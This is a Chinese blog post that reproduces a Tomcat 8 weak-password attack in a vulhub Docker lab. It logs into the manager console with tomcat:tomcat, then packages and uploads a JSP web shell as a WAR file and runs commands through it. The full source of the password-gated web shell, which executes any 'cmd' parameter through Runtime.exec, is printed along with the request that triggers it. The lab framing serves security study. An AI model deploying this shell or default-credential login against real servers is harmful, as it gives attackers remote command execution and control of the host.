Tomcat8 + 弱口令 && 后台getshell 漏洞复现

最新推荐文章于 2024-06-27 14:01:14 发布

Jerry____

最新推荐文章于 2024-06-27 14:01:14 发布

阅读量1.7k

点赞数 1

分类专栏：漏洞复现文章标签： Tomcat8 + 弱口令 &amp;&amp; 后台getshell 漏洞复现

本文链接：https://blog.csdn.net/Jerry____/article/details/103387763

版权

漏洞复现专栏收录该内容

9 篇文章 1 订阅

订阅专栏

一：搭建环境

1、利用vulhub搭建环境，进入相关漏洞目录下

cd /vulhub/tomcat/tomcat8

2、一键安装环境

docker-compose up -d

二：漏洞利用

1、打开http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat。
2、制作木马文件，首先准备一个ma.jsp木马，压缩成ma.zip，再修改后缀名为ma.war。
ma.jsp

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>

3、上传木马文件。
在这里插入图片描述

上传成功。
4、访问：http://192.168.33.137:8080/ma/ma.jsp?pwd=admin&cmd=id

成功执行cmd命令。

Jerry____

关注

1
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
Tomcat8 + 弱口令 && 后台getshell 漏洞复现

一：搭建环境1、进入相关漏洞目录下cd /vulhub/tomcat/tomcat82、一键安装环境docker-compose up -d二：漏洞利用1、打开http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat。2、制作木马文件，首先准备一个ma.jsp木马，压缩成ma.zip，再修改后缀名为ma.war。ma.jsp&lt...
复制链接

扫一扫

专栏目录